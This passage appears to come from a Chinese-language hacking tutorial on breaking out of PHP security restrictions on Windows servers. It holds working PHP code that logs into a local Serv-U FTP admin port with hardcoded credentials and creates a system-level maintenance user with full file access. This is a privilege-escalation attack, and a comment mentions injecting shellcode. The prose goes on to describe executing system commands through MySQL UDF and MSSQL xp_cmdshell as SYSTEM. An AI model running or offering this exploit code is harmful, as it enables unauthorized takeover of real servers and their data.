$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)
n";
} else {
//可以写入$shellcode
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep (1);
fputs ($fp, "PASS ".$adminpass."rn");
sleep (1);
fputs ($fp, "SITE MAINTENANCErn");
sleep (1);
fputs ($fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport."rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn");
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp, "-LoginMesFile=rn");
fputs ($fp, "-Disable=0rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable=0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, "-SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn");
fputs ($fp, "-RatioUp=1rn");
fputs ($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn");
fputs ($fp, "-QuotaCurrent=0rn");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn");
fputs ($fp, "-PasswordType=Regularrn");
fputs ($fp, "-Ratios=Nonern");
fputs ($fp, " Access=".$homedir."|RWAMELCDPrn");
fputs ($fp, "QUITrn");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>
还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。
6、MYSQL/MSSQL接口
不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。
总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!









